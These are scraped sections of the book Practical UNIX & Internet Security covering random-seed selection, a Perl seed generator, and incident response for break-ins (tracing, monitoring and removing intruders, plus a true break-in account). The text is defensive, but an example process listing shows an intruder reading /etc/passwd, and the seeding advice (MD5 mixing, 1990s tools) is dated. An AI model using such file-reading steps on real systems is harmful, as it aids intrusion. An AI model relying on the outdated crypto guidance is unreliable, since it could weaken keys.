Some versions of the Linux operating system have carefully thought out random number generators in their kernel, accessible through the /dev/random and /dev/urandom devices. We think that this design is excellent-especially when the random number generators take into account additional system states, user inputs, and "random" external events to provide numbers that are "more" random.

Previous: 23.6 Tips on Generating Random Numbers | Practical UNIX & Internet Security | Next: 23.8 Picking a Random Seed
23.6 Tips on Generating Random Numbers | Book Index | 23.8 Picking a Random Seed


[Chapter 23] 23.8 Picking a Random Seed

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 23.7 UNIX Pseudo-Random Functions Chapter 23
Writing Secure SUID and Network Programs 		Next: 23.9 A Good Random Seed Generator

23.8 Picking a Random Seed

Using a good random number generator is easy. Picking a random seed, on the other hand, can be quite difficult. Conceptually, picking a random number should be easy: pick something that is always different. But in practice, picking a random number-especially one that will be used as the basis of a cryptographic key-is quite difficult. The practice is difficult because many things that change all the time actually change in predictable ways.

A stunning example of a poorly chosen seed for a random number generator appeared on the front page of the New York Times [14] in September 1995. The problem was in Netscape Navigator, a popular program for browsing the World Wide Web. Instead of using truly random information for seeding the random number generator, Netscape's programmers used a combination of the current time of day, the PID of the running Netscape program, and the Parent Process ID (PPID). Researchers at the University of California at Berkeley discovered that they could, through a process of trial and error, discover the numbers that any copy of Netscape was using and crack the encrypted messages with relative ease.

[14] John Markoff, "Security Flaw Is Discovered in Software Used in Shopping," The New York Times,September 19, 1995 p.1.

Another example of a badly chosen seed generation routine was used in Kerberos version 4. This routine was based on the time of day XORed with other information. The XOR effectively masked out the other information and resulted in a seed of only 20 bits of predictable value. This reduced the key space from more than 72 quadrillion possible keys to slightly more than one million, thus allowing keys to be guessed in a matter of seconds. When this weakness was discovered at Purdue's COAST Laboratory, conversations with personnel at MIT revealed that they had known for years that this problem existed, but the patch had somehow never been released.

In the book Network Security, Private Communication in a Public World, Kaufman et al identify three typical mistakes when picking random-number seeds:

  1. Seeding a random number generator from a limited space.

    If you seed your random number generator with an 8-bit number, your generator only has one of 256 possible initial seeds. You will only have 256 possible sequences of random numbers coming from the function (even if your generator has 128 bytes of internal state).

  2. Using a hash value of only the current time as a random seed.

    This practice was the problem with the Netscape security bug. The problem was that even though the UNIX operating system API appears to return the current time to the nearest microsecond, most operating systems have a resolution considerably coarser-usually within one 1/60th of a second or less. As Kaufman et al point out, if a clock has only 1/60th of a second granularity, and the intruder knows to the nearest hour at what time the current time was sampled, then there are only 60x60x60 = 216,000 possible values for the supposedly random seed.

  3. Divulging the seed value itself.

    In one case reported by Kaufman et al, and originally discovered by Jeff Schiller of MIT, a program used the time of day to choose a per-message encryption key. The problem in this case was that the application included the time that the message was generated in its unencrypted header of the message.

How do you pick a good random number? Here are some ideas:

  1. Use a genuine source of randomness, such as a radioactive source, static on the FM dial, thermal noise, or something similar.

    Measuring the timing of hard disk drives can be another source of randomness, provided that you can access the hardware at a sufficiently low level.

  2. Ask the user to type a set of text, and sample the time between keystrokes.

    If you get the same amount of time between two keystrokes, throw out the second value; the user is prob- ably holding down a key and the key is repeating. (This technique is used by PGP as a source of randomness for its random number generator.)

  3. Monitor the user.

    Each time the user presses the keyboard, take the time between the current keypress and the last keypress, add it to the current random number seed, and hash the result with a cryptographic hash function. You can also use mouse movements to add still more randomness.

  4. Monitor the computer.

    Use readily available, constantly changing information, such as the number of virtual memory pages that have been paged in, the status of the network, and so forth.

In December 1994, Donald Eastlake, Steve Crocker, and Jeffrey Schiller prepared RFC 1750, which made many observations about picking seeds for random number generators. Among them:

  1. Avoid relying on the system clock.

    Many system clocks are surprisingly non-random. Many clocks which claim to provide accuracy actually don't, or they don't provide good accuracy all the time.

  2. Don't use Ethernet addresses or hardware serial numbers.

    Such numbers are usually "heavily structured" and have "heavily structured subfields." As a result, one could easily try all of the possible combinations, or guess the value based on the date of manufacture.

  3. Beware of using information such as the time of the arrival of network packets.

    Such external sources of randomness could be manipulated by an adversary.

  4. Don't use random selection from a large database (such as a CD-ROM) as a source of randomness.

    The reason, according to RFC 1750, is that your adversary may have access to the same database. The database may also contain unnoticed structure.

  5. Consider using analog input devices already present on your system.

    For example, RFC 1750 suggests using the /dev/audio device present on some UNIX workstations as a source of random numbers. The stream is further compressed to remove systematic skew. For example:

$ cat /dev/audio | compress - >random-bit-stream

RFC 1750 advises that the microphone not be connected to the audio input jack, so that the /dev/audio device will pick up random electrical noise. This rule may not be true on all hardware platforms. You should check your hardware with the microphone turned on and with no microphone connected to see which way gives a "better" source of random numbers.

Previous: 23.7 UNIX Pseudo-Random Functions | Practical UNIX & Internet Security | Next: 23.9 A Good Random Seed Generator
23.7 UNIX Pseudo-Random Functions | Book Index | 23.9 A Good Random Seed Generator


[Chapter 23] 23.9 A Good Random Seed Generator

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 23.8 Picking a Random Seed Chapter 23
Writing Secure SUID and Network Programs 		Next: VI. Handling Security Incidents

23.9 A Good Random Seed Generator

As we've mentioned, one way of generating a random seed is to use a source message digest algorithm such as MD5 or HAVAL. As input, give it as much data as you can based on temporary state. This data might include the output of ps - efl, the environment variables for the current process, its PID and PPID, the current time and date, the output of the random number generator given your seed, the seed itself, the state of network connections, and perhaps a directory listing of the current directory. The output of the function will be a string of bits that an attacker cannot likely duplicate, but which is likely to meet all the other conditions of randomness you might desire.

The Perl program in Example 23.1 is an example of such a program. It uses several aspects of system state, network status, virtual memory statistics, and process state as input to MD5. These numbers change very quickly on most computers, and cannot be anticipated, even by programs running as supe- ruser on the same computer. The entropy (randomness) of these values is spread throughout the result by the hashing function of MD5, resulting in an output that should be sufficiently random for most uses.

Note that this script is an excellent method for generating Xauthority keys (see "X security" in Chapter 17), if you need them. Simply execute it with an argument of 14 (you need 28 hex characters of key) and use the result as your key.

Example 23.1: Generating a Random Seed String

#!/usr/bin/perl
#
# randbits -- Gene Spafford <spaf@cs.purdue.edu>
# generate a random seed string based on state of system
#
# Inspired by a program from Bennett Todd (bet@std.sbi.com), derived
# from original by Larry Wall.
#
# Uses state of various kernel structures as random "seed"
# Mashes them together and uses MD5 to spread around
#
# Usage:  randbits [-n] [-h | -H ] [keylen]
#      Where
#         -n means to emit no trailing linefeed
#         -h means to give output in hex (default)
#         -H means hex output, but use uppercase letters
#         keylen is the number of bytes to the random key (default is 8)

# If you run this on a different kind of system, you will want to adjust the
# setting in the "noise" string to system-specific strings.  Do it as another
# case in the "if...else" and e-mail me the modification so I can keep a
# merged copy.  (Hint: check in your manual for any programs with "stat" in
# the name or description.)
#
# You will need to install a version of MD5.  You can find one in the COAST
# achive at ftp://coast.cs.purdue.edu/pub/tools/unix
# Be sure to include its location in the PATH below if it isn't in one of the
# directories already listed.

$ENV{'PATH'} = "/bin:/usr/bin:/usr/etc:/usr/ucb:/etc:" . $ENV{'PATH'};

# We start with the observation that most machines have either a BSD
# core command set, or a System V-ish command set.  We'll build from those.

$BSD = "ps -agxlww ; netstat -s ; vmstat -s ;";
$SYSV = "ps -eflj ; netstat -s ; nfsstat -nr ;";

if ( -e "/sdmach" ) {
    $_ = "NeXT";
} elsif ( -x "/usr/bin/uname" || -x "/bin/uname") {
    $_ = `uname -sr`;
} elsif ( -x "/etc/version" ) {
    $_ = `/etc/version`;
} else {
    die "How do I tell what OS this is?";
}

/^AIX 1/	&&	(                   $noise = $BSD . 'pstat -afipSsT')||
/^CLIX 3/	&&	(                  $noise = "ps -efl ; nfsstat -nr")||
/^DYNIX/	&&	(                   $noise = $BSD . 'pstat -ai')||
/^FreeBSD 2/	&&	(               $noise = $BSD . 'vmstat -i')||
/^HP-UX 7/	&&	(                 $noise = $SYSV)||
/^HP-UX A.09/	&&	(              $noise = $SYSV . "vmstat -s")||
/^IRIX(64)? [56]/   &&	(       $noise = $SYSV)||
/^Linux 1/	&&	(                 $noise = "ps -agxlww ; netstat -i ; vmstat")||
/^NeXT/		&& (                  $noise = 'ps agxlww;netstat -s;vm_stat')||
/^OSF1/		&& (                  $noise = $SYSV . 'vmstat -i')||
/^SunOS 4/	&&	(                 $noise = $BSD . 'pstat -afipSsT;vmstat -i')||
/^SunOS 5/	&&	(                 $noise = $SYSV . 'vmstat -i;vmstat -s')||
/^ULTRIX 4/	&&	(                $noise = $BSD . 'vmstat -s')|||
    die "No 'noise' commands defined for this OS.  Edit and retry!";

####  End of things you may need to modify

require 'getopts.pl';
require 'open2.pl';

($prog = $0) =~ s|.*/||;

$usage = "usage: $prog [-n] [-h | -H] [keylength]\n";
&Getopts('nhH') || die $usage;

defined($keylen = shift) || ($keylen = 8);
die $usage if ($keylen =~ /\D/);
die $usage if ($opt_H && $opt_h);

die "Maximum keylength is 16 bytes (32 hex digits)\n" if ($keylen > 16);

# Run the noise command and include whatever other state we
# can conveniently (portably) find.

@junk = times();
$buf = `$noise` . $$ . getppid() . time . join(`', %ENV) . "@junk" . `ls -lai`;

# Now, run it through the md5 program to mix bits and entropy

&open2('m_out', 'm_in', "md5") || die "Cannot run md5 command: $!";
print m_in $buf;
close m_in;
$buf = <m_out>;

($buf =~ y/a-f/A-F/) if $opt_H;
print substr($buf, 0, 2*$keylen);
print "\n" unless $opt_n;

Previous: 23.8 Picking a Random Seed | Practical UNIX & Internet Security | Next: VI. Handling Security Incidents
23.8 Picking a Random Seed | Book Index | VI. Handling Security Incidents


[Chapter 24] Discovering a Break-in

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: VI. Handling Security Incidents Chapter 24 Next: 24.2 Discovering an Intruder

24. Discovering a Break-in

Contents:
Prelude
Discovering an Intruder
The Log Files: Discovering an Intruder's Tracks
Cleaning Up After the Intruder
An Example
Resuming Operation
Damage Control

This chapter describes what to do if you discover that someone has broken into your computer system: how to catch the intruder; how to figure out what, if any, damage has been done; and how to repair the damage, if necessary. We hope that you'll never have to use the techniques mentioned here.

24.1 Prelude

There are three major rules for handling security breaches.

24.1.1 Rule #1: DON'T PANIC

After a security breach, you are faced with many different choices. No matter what has happened, you will only make things worse if you act without thinking.

Before acting, you need to answer certain questions and keep the answers firmly in mind:

  • Did you really have a breach of security? Something that appears to be the action of an intruder might actually be the result of human error or software failure.

  • Was any damage really done? With many security breaches, the perpetrator gains unauthorized access but doesn't actually access privileged information or maliciously change the contents of files.

  • Is it important to obtain and protect evidence that might be used in an investigation?

  • Is it important to get the system back into normal operation as soon as possible?

  • Are you willing to take the chance that files have been altered or removed? If not, how can you tell for sure if changes have been made?

  • Does it matter if anyone within the organization hears about this incident? If somebody outside hears about it?

  • Can it happen again?

The answers to many of these questions may be contradictory; for example, protecting evidence and comparing files may not be possible if the goal is to get the system back into normal operation as soon as possible. You'll have to decide what's best for your own site.

24.1.2 Rule #2: DOCUMENT

Start a log, immediately. Take a notebook and write down everything you find, always noting the date and time. If you examine text files, print copies and then sign and date the hardcopy. If you have the necessary disk space, record your entire session with the script command, too. Having this information on hand to study later may save you considerable time and aggravation, especially if you need to restore or change files quickly to bring the system back to normal.

This chapter and the two chapters that follow present a set of guidelines for handling security breaches. In the following sections, we describe the mechanisms you can use to help you detect a break-in, and handle the question of what to do if you discover an intruder on your system. In Chapter 25, Denial of Service Attacks and Solutions, we'll describe denial of service attacks - ways in which attackers can make your system unusable without actually destroying any information. Finally, in Chapter 26, Computer Security and U.S. Law, we'll discuss legal approaches and considerations you may need to consider after a security incident.

24.1.3 Rule #3: PLAN AHEAD

A key to effective response in an emergency is advance planning. When a security problem occurs, there are some standard steps to be taken. You should have these steps planned out in advance so there is little confusion or hesitation when an incident occurs.

In larger installations, you may want to practice your plans. For example, along with standard fire drills, you may want to have "virus drills" to practice coping with the threat of a virus, or "break-in drills." The following basic steps should be at the heart of your plan:

Step 1: Identify and understand the problem.

If you don't know what the problem is, you cannot take action against it. This rule does not mean that you need to have perfect understanding, but you should understand at least what form of problem you are dealing with. Cutting your computer's network connection won't help you if the problem is being caused by a revenge-bent employee with a terminal in his office.

Step 2: Contain or stop the damage.

If you've identified the problem, take immediate steps to halt or limit it. For instance, if you've identified the employee who is deleting system files, you'll want to turn off his account, and probably take disciplinary action as well. Both are steps to limit the damage to your data and system.

Step 3: Confirm your diagnosis and determine the damage.

After you've taken steps to contain the damage, confirm your diagnosis of the problem and determine the damage it caused. Are files still disappearing after the employee is discharged? You may never be 100% sure if two or more incidents are actually related. Furthermore, you may not be able to identify all of the damage immediately, if ever.

Step 4: Restore your system.

After you know the extent of the damage, you need to restore the system and data to a consistent state. This may involve reloading portions of the system from backups, or it may mean a simple restart of the system. Before you proceed, be certain that all of the programs you are going to use are "safe." The attacker may have replaced your restore program with a Trojan horse that deletes both the files on your hard disk and on your backup tape!

Step 5: Deal with the cause.

If the problem occurred because of some weakness in your security or operational measures, you'll want to make changes and repairs after your system has been restored to a normal state. If the cause was a person making a mistake, you will probably want to educate him or her to avoid a second occurrence of the situation. If someone purposefully interfered with your operations, you may wish to involve law enforcement authorities.

Step 6: Perform related recovery.

If what occurred was covered by insurance, you may need to file claims. Rumor control, and perhaps even community relations, will be required at the end of the incident to explain what happened, what breaches occurred, and what measures were taken to resolve the situation. This step is especially important with a large user community, because unchecked rumors and fears can often damage your operations more than the problem itself.

Previous: VI. Handling Security Incidents | Practical UNIX & Internet Security | Next: 24.2 Discovering an Intruder
VI. Handling Security Incidents | Book Index | 24.2 Discovering an Intruder


[Chapter 24] 24.2 Discovering an Intruder

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 24.1 Prelude Chapter 24
Discovering a Break-in 		Next: 24.3 The Log Files: Discovering an Intruder's Tracks

24.2 Discovering an Intruder

There are several ways you might discover a break-in:

  • Catching the perpetrator in the act. For example, you might see the superuser logged in from a dial-up terminal when you are the only person who should know the superuser password.

  • Deducing that a break-in has taken place based on changes that have been made to the system. For example, you might receive an electronic mail message from an attacker taunting you about a security hole, or you may discover new account entries in your /etc/passwd file.

  • Receiving a message from a system administrator at another site indicating strange activity at his or her site that has originated from an account on your machine.

  • Strange activities on the system, such as system crashes, significant hard disk activity, unexplained reboots, minor accounting discrepancies,[1] or sluggish response when it is not expected (Crack may be running on the system).

    [1] See Cliff Stoll's The Cuckoo's Egg for the tale of how such a discrepancy led to his discovery of a hacker's activities.

There are a variety of commands that you can use to discover a break-in, and some excellent packages, such as Tiger and Tripwire, described elsewhere in this book. Issue these commands on a regular basis, but execute them sporadically as well. This introduces a factor of randomness that can make perpetrators unable to cover their tracks. This principle is a standard of operations security: try to be unpredictable.

24.2.1 Catching One in the Act

The easiest way to catch an intruder is by looking for events that are out of the ordinary. For example:

  • A user who is logged in more than once. (Many window systems register a separate login for each window that is opened by a user, but it is usually considered odd for the same user to be logged in on two separate dial-in lines at the same time.)

  • A user who is not a programmer but who is nevertheless running a compiler or debugger.

  • A user who is making heavy and uncharacteristic use of the network.

  • A user who is initiating many dialout calls.

  • A user who does not own a modem logged into the computer over a dial-in line.

  • A person who is executing commands as the superuser.

  • Network connections from previously unknown machines, or from sites that shouldn't be contacting yours for any reason.

  • A user who is logged in while on vacation or outside of normal working hours (e.g., a secretary dialed in by phone at 1:00 a.m. or a computer science graduate student working at 9:00 a.m.).

UNIX provides a number of commands to help you figure out who is doing what on your system. The finger, users, whodo, w, and who commands all display lists of the users who are currently logged in. The ps and w commands help you determine what any user is doing at any given time; ps displays a more comprehensive report, and w displays an easy-to-read summary. The netstat command can be used to check on current network connections and activity.

If you are a system administrator, you should be in the habit of issuing these commands frequently to monitor user activity. After a while, you will begin to associate certain users with certain commands. Then, when something out of the ordinary happens, you will have cause to take a closer look.

Be aware, however, that all of these commands can be "fooled" by computer intruders with sufficient expertise. For example, w, users, and finger all check the /etc/utmp file to determine who is currently logged in to the computer. If an intruder erases or changes his entry in this file, these commands will not report the intruder's presence. Also, some systems fail to update this file, and some window systems do not properly update it with new entries, so even when the file is protected, it may not have accurate information.

As the ps command actually examines the kernel's process table, it is more resistant to subversion than the commands that examine the /etc/utmp file. However, an intruder who also has attained superuser access on your system can modify the ps command or the code in the system calls it uses so that it won't print his or her processes. Furthermore, any process can modify its argv arguments, allowing it to display whatever it wishes in the output of the ps command. If you don't believe what these commands are printing, you might be right!

24.2.2 What to Do When You Catch Somebody

You have a number of choices when you discover an intruder on your system:

  1. Ignore them.

  2. Try to contact them with write or talk, and ask them what they want.

  3. Try to trace the connection and identify the intruder.

  4. Break their connection by killing their processes, unplugging the modem or network, or turning off your computer.

  5. Contact a FIRST (Forum of Incident Response and Security Teams) team (e.g., the CERT-CC[2]) to notify them of the attack.

    [2] See Appendix F, Organizations, for a complete list of FIRST teams.

What you do is your choice. If you are most inclined towards option #1, you probably should reread Chapter 1, Introduction, and Chapter 2, Policies and Guidelines, . Ignoring an intruder who is on your system essentially gives him or her free reign to do harm to you, your users, or others on the network.

If you choose option #2, keep a log of everything the intruder sends back to you, then decide whether to pursue one of the other options. Options #3 and #4 are discussed in the sections "Tracing a Connection" and "Getting Rid of the Intruder" that follow.

NOTE: Some intruders are either malicious in intent, or extremely paranoid about being caught. If you contact them, they may react by trying to delete everything on disk so as to hide their activities. If you try to contact an intruder who turns out to be one of these types, be certain you have a set of extremely current backups!

If the intruder is logged into your computer over the network, you may wish to trace the connection first, because it is usually much easier to trace an active network connection than one that has been disconnected.

After the trace, you may wish to try to communicate with the intruder using the write or talk programs. If the intruder is connected to your computer by a physical terminal, you may wish to walk over to that terminal and confront the person directly (then again, you might not!).

NOTE: Avoid using mail or talk to contact the remote site if you are trying to trace the connection without tipping off the intruder, because the remote root account on the remote site may be compromised. Try to use the telephone, if at all possible, before sending email. If you must send a message, send something innocuous, such as "could you please give me a call: we are having problems with your mailer." Of course, if somebody calls you, verify who they are.

24.2.3 Monitoring the Intruder

You may wish to monitor the intruder's actions to figure out what he is doing. This will give you an idea if he is modifying your accounting database, or simply rummaging around through your users' email.

There are a variety of means that you can use for monitoring the intruder's actions. The simplest way is to use programs such as ps or lastcomm to see which processes the intruder is using.

Depending on your operating system, you may be able to monitor the intruder's keystrokes using programs such as ttywatch or snoop. These commands can give you a detailed, packet-by-packet account of information sent over a network. They can also give you a detailed view of what an intruder is doing. For example:

# snoop
asy8.vineyard.net -> next         SMTP C port=1974
asy8.vineyard.net -> next         SMTP C port=1974 MAIL FROM:<dfddf@vin
        next -> asy8.vineyard.net SMTP R port=1974 250 <dfddf@vineyard.
asy8.vineyard.net -> next         SMTP C port=1974
asy8.vineyard.net -> next         SMTP C port=1974 RCPT TO:<vdsalaw@ix.
        next -> asy8.vineyard.net SMTP R port=1974 250 <vdsalaw@ix.netc
asy8.vineyard.net -> next         SMTP C port=1974
asy8.vineyard.net -> next         SMTP C port=1974 DATA\r\n
        next -> asy8.vineyard.net SMTP R port=1974 354 Enter mail, end

In this case, an email message was intercepted as it was sent from asy8.vineyard.net to the computer next. As the above example shows, these utilities will give you a detailed view of what people on your system are doing, and they have a great potential for abuse.

You should be careful with the tools that you install on your system, as these tools can be used against you, to monitor your monitoring. Also, consider using tools such as snoop on another machine (not the one that has been compromised). Doing so lessens the chance of being discovered by the intruder.

24.2.4 Tracing a Connection

The ps, w, and who commands all report the terminals to which each user (or each process) is attached. Terminal names like /dev/tty01 may be abbreviated to tty01 or even to 01. Generally, names like tty01, ttya, or tty4a represent physical serial lines, while names that contain the letters p, q, or r (such as ttyp1) refer to network connections (virtual ttys, also called pseudo-terminals or ptys).

If the intruder has called your computer by telephone, you may be out of luck. In general, telephone calls can be traced only by prior arrangement with the telephone company. However, many telephone companies offer special features such as CALL*TRACE and CALLER*ID (CNID), which can be used with modem calls as easily as with voice calls. If you have already set up the service and installed the appropriate hardware, all you need to do is activate it. Then you can read the results.

If the intruder is logged in over the network, you can use the who command to determine quickly the name of the computer that the person may have used to originate the connection. Simply type who:

% who
orpheus  console  Jul 16 16:01
root     tty01    Jul 15 20:32
jason    ttyp1    Jul 16 18:43 (robot.ocp.com)
devon    ttyp2    Jul 16 04:33 (next.cambridge.m)
%

In this example, the user orpheus is logged in at the console, user root is logged on at tty01 (a terminal connected by a serial line), and jason and devon are both logged in over the network: jason from robot.ocp.com, and devon from next.cambridge.ma.us.

Some versions of the who command display only the first 16 letters of the hostname of the computer that originated the connection. (The machine name is stored in a 16-byte field in /etc/utmp; some versions of UNIX store more letters.) To see the complete hostname, you may need to use the netstat command (described in Chapter 16, TCP/IP Networks). You will also have to use netstat if the intruder has deleted or modified the /etc/utmp file to hide his presence. Unfortunately, netstat does not reveal which network connection is associated with which user. (Of course, if you have the first 16 characters of the hostname, you should be able to figure out which is which, even if /etc/utmp has been deleted. You can still use netstat and look for connections from unfamiliar machines.) Luckily, most modern versions of UNIX, including SVR4, report the entire machine name.

Let's say that in this example we suspect Jason is an intruder, because we know that the real Jason is at a yoga retreat in Tibet (with no terminals around). Using who and netstat, we determine that the intruder who has appropriated Jason's account is logged in remotely from the computer robot.ocp.com. We can now use the finger command to see which users are logged onto that remote computer:

% finger @robot.ocp.com
[robot.ocp.com]
Login     Name                  TTY Idle       When
olivia    Dr. Olivia Layson      co  12d   Sun 11:59
wonder    Wonder Hacker          p1        Sun 14:33
%

Of course, this method doesn't pin the attacker down, because the intruder may be using the remote machine only as a relay point. Indeed, in the above example, Wonder Hacker is logged into ttyp1, which is another virtual terminal. He's probably coming from another machine, and simply using robot.ocp.com as a relay point. You would probably not see a username like Wonder Hacker. More likely, you would only see an assorted list of apparently legitimate users and have to guess who the attacker is. Even if you did see a listing such as that, you can't assume anything about who is involved. For instance, Dr. Layson could be conducting industrial espionage on your system, using a virtual terminal (e.g., xterm) that is not listed as a logged in session!

If you have an account on the remote computer, log into it and find out who is running the rlogin or telnet command that is coming into your computer. In any event, consider contacting the system administrator of that remote computer and alert him or her to the problem.

24.2.4.1 Other tip-offs

There are many other tip-offs that an intruder might be logged onto your system. For example, you may discover that shells are running on terminals that no one seems to be logged into at the moment. You may discover open network connections to machines you do not recognize. Running processes may be reported by some programs but not others.

Be suspicious and nosy.

24.2.4.2 How to contact the system administrator of a computer you don't know

Often, you can't figure out the name and telephone number of the system administrator of a remote machine, because UNIX provides no formal mechanism for identifying such people.

One good way is to contact the appropriate incident response team for the designated security person at the organization. Another way to find out the telephone number and email address of the remote administrator is to use the whois command to search the Network Information Center (NIC) registration database. If your system does not have a whois command, you can simply telnet to the NIC site. Below is an example of how to find the name and phone number of a particular site administrator.

The NIC maintains a database of the names, addresses, and phone numbers of significant network users, as well as the contact people for various hosts and domains. If you can connect to the host whois.internic.net via telnet, you may be able to get the information you need. Try the following:

  1. Connect to the host whois.internic.net via telnet.

  2. At the > prompt, type whois.

  3. Try typing host robot.ocp.com (using the name of the appropriate machine, of course). The server may return a record indicating the administrative contact for that machine.

  4. Try typing domain ocp.com (using the appropriate domain). The server may return a record indicating the administrative contact for that domain.

  5. When done, type quit to disconnect.

Here is an example, showing how to get information about the domain whitehouse.gov:

% telnet whois.internic.net
Trying 198.41.0.6 ...
Connected to rs.internic.net.
Escape character is `^]'.

SunOS UNIX 4.1 (rs1) (ttyp1)

***********************************************************************
* -- InterNIC Registration Services Center  --
*
* For wais, type:                    WAIS <search string> <return>
* For the *original* whois type:     WHOIS [search string] <return>
* For referral whois type:           RWHOIS [search string] <return>
*
* For user assistance call (703) 742-4777
# Questions/Updates on the whois database to HOSTMASTER@internic.net
* Please report system problems to ACTION@internic.net

***********************************************************************

Please be advised that use constitutes consent to monitoring
(Elec Comm Priv Act, 18 USC 2701-2711)

Cmdinter Ver 1.3 Tue Oct 17 21:51:53 1995 EST
[xterm] InterNIC > whois

Connecting to the rs Database . . . . . .
Connected to the rs Database
Whois: whitehouse.gov
Executive Office of the President USA (WHITEHOUSE-HST) WHITEHOUSE.GOV
                                                               198.137.240.100
Whitehouse Public Access (WHITEHOUSE-DOM)                       WHITEHOUSE.GOV
Whois: whitehouse-dom
Whitehouse Public Access (WHITEHOUSE-DOM)
   Executive Office of the President USA
   Office of Administration
   Room NEOB 4208
   725 17th Street NW
   Washington, D.C. 20503
   Domain Name: WHITEHOUSE.GOV

   Administrative Contact:
      Fox, Jack S.  (JSF)  fox_j@EOP.GOV
      (202) 395-7323
   Technical Contact, Zone Contact:
      Ranum, Marcus J.  (MJR)  mjr@BSDI.COM
      (410) 889-6449

   Record last updated on 17-Oct-94.
   Record created on 17-Oct-94.

   Domain servers in listed order:

   GATEKEEPER.EOP.GOV           198.137.241.3
   ICM1.ICP.NET                 192.94.207.66

Whois: quit
[xterm] InterNIC > quit

Tue Oct 17 21:55:30 1995 EST
Connection closed by foreign host.
%

In addition to looking for information about the host, you can look for information about the network domain. You may find that technical contacts are more helpful than administrative contacts. If that approach fails, you can attempt to discover the site's network service provider (discovered by sending packets to the site using traceroute) and call them to see if they have contact information. Even if the site's network service provider will tell you nothing, he or she will often forward messages to the relevant people. In an emergency, you can call the organization's main number and ask the security guard to contact the computer center's support staff.

If you are attempting to find out information about a U.S. military site (the hostname ends in .mil), you need to try the whois command at nic.ddn.mil instead of the one at the InterNIC.

Another thing to try is to finger the root account of the remote machine. Occasionally this will produce the desired result:

% finger root@robot.ocp.com
[robot.ocp.com]
Login name: root in real life: Joel Wentworth
Directory: / Shell: /bin/csh
Last login Sat April 14, 1990 on /dev/tty
Plan:
For information regarding this computer, please contact
Joel Wentworth at 301-555-1212

More often, unfortunately, you'll be given useless information about the root account:

% finger root@robot.ocp.com
[robot.ocp.com]
Login name: root in real life: Operator
Directory: / Shell: /bin/csh
Last login Mon Dec. 3, 1990 on /dev/console
No plan

In these cases, you can try to figure out who is the computer's system administrator by connecting to the computer's sendmail daemon and identifying who gets mail for the root or postmaster mailboxes:

% telnet robot.ocp.com smtp
Trying...
Connected to robot.ocp.com
Escape character is "^]".
220 robot.ocp.com Sendmail NeXT-1.0 (From Sendmail 5.52)/NeXT-1.0   ready at Sun, 2 Dec 90 14:34:08 EST
helo mymachine.my.domain.com
250 robot.ocp.com Hello mymachine.my.domain.com, pleased to meet you
vrfy postmaster
250 Joel Wentworth <jw>
expn root
250 Joel Wentworth <jw>
quit
221 robot.ocp.com closing connection
Connection closed by foreign host.

You can then use the finger command to learn this person's telephone number.

Unfortunately, many system administrators have disabled their finger command, and the sendmail daemon may not honor your requests to verify or expand the alias. However, you may still be able to identify the contact person.

If all else fails, you can send mail to the " postmaster" of the indicated machine and hope it gets read soon. Do not mention a break-in in the message - mail is sometimes monitored by intruders. Instead, give your name and phone number, indicate that the matter is important, and ask the postmaster to call you. (Offering to accept collect calls is a nice gesture and may improve the response rate.) Of course, after you've phoned, find out the phone number of the organization you're dealing with and try phoning back - just to be sure that it's the administrator who phoned (and not the intruder who read your email and deleted it before it got to the administrator). You can also contact the folks at one of the FIRST teams, such as the CERT-CC. They have some additional resources, and they may be able to provide you with contact information.

24.2.5 Getting Rid of the Intruder

Killing your computer's power - turning it off - is the very quickest way to get an intruder off your computer and prevent him from doing anything else - including possibly further damage. Unfortunately, this is a drastic action. Not only does it stop the intruder, but it also interrupts the work of all of your legitimate users. It may also delete evidence you night need in court some day, delete necessary evidence of the break-in, such as running processes (e.g., mailrace), and cause the system to be damaged when you reboot because of the Trojaned startup scripts. In addition, the UNIX filesystem does not deal with sudden power loss very gracefully: pulling the plug might do significantly more damage than the intruder might ever do.

In some cases, you can get rid of an intruder by politely asking him or her to leave. Inform the person that breaking into your computer is both antisocial and illegal. Some computer trespassers have the motivation of a child sneaking across private property; they often do not stop to think about the full impact of their actions. However, don't bet on your intruder being so simplistic, even if he acts that way. (And keep in mind our warning earlier in this chapter.)

If the person refuses to leave, you can forcibly kill his or her processes with the kill command. Use the ps command to get a list of all of the user's process numbers, change the password of the penetrated account, and finally kill all of the attacker's processes with a single kill command. For example:

# ps -aux
USER  PID  %CPU  %MEM   VSIZE   RSIZE  TT  STAT   TIME  COMMAND
root 1434  20.1   1.4    968K   224K   01    R    0:00  ps aux
nasty 147   1.1   1.9   1.02M   304K   p3    S    0:07  - (csh)
nasty 321  10.0   8.7    104K   104K   p3    S    0:09  cat /etc/passwd
nasty 339   8.0   3.7   2.05M   456K   p3    S    0:09  rogue
...
# passwd nasty
Changing password for nasty.
New password: rogue32
Retype new password: rogue32
# kill -9 147 321 339

You are well-advised to change the password on the account before you kill the processes - especially if the intruder is logged in as root. If the intruder is a faster typist than you are, you might find yourself forced off before you know it! Also bear in mind that most intruders will install a back door into the system. Thus, even if you change the password, that may not be sufficient to keep them off: you may need to take the system to single-user mode and check the system out, first.

As a last resort, you can physically break the connection. If the intruder has dialed in over a telephone line, you can turn off the modem - or unplug it from the back of the computer. If the intruder is connected through the network, you can unplug the network connector - although this will also interrupt service for all legitimate users. Once the intruder is off your machine, try to determine the extent of the damage done (if any), and seal the holes that let the intruder get in. You also should check for any new holes that the intruder may have created. This is an important reason for creating and maintaining the checklists described in Chapter 9, Integrity Management.

24.2.6 Anatomy of a Break-in

The following story is true. The names and a few details have been changed to protect people's jobs.

Late one night in November 1995, a part-time computer consultant at a Seattle-based firm logged into one of the computers that he occasionally used. The system seemed sluggish, so he ran the top command to get an idea of what was slowing down the system. The consultant noticed that a program called vs was consuming a large amount of system resources. The program was running as superuser.

Something didn't look right. To get more information, the programmer ran the ps command. That's when things got stranger still - the mysterious program didn't appear when ps was run. So the occasional system manager used the top command again, and, sure enough, the vs program was still running.

The programmer suspected a break-in. He started looking around the filesystem using the Emacs dired command and found the vs program in a directory called /var/.e. That certainly didn't look right. So the programmer went to his shell window, did a chdir() to the /var directory, and then did an ls -a. But the ls program didn't show the directory /var/.e. Nevertheless, the program was definitely there: it was still visible from the Emacs dired command.

